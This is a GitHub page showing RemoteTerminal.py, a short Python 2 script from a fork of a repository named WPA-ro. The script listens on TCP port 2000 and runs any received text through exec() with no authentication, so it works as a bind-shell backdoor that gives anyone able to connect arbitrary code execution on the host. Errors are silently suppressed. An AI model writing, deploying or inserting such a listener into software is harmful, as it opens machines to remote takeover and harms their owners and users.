forked from Geonaute/WPA-ro
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathRemoteTerminal.py
38 lines (33 loc) · 844 Bytes
/
RemoteTerminal.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import socket, time, os, threading, sys
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
BIND_IP = s.getsockname()[0]
BIND_PORT = 2000
s.close()
except:
sys.exit()
def handle_client(client_socket):
while 1:
request = client_socket.recv(1024)
try:
if str(request) == "exit":
sys.exit()
except:
pass
try:
exec(str(request))
except:
pass
def tcp_server():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((BIND_IP, BIND_PORT))
server.listen(5)
print"[*] Listening on %s:%d" % (BIND_IP, BIND_PORT)
while 1:
client, addr = server.accept()
print "[*] Accepted connection from: %s:%d" %(addr[0], addr[1])
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
if __name__ == '__main__':
tcp_server()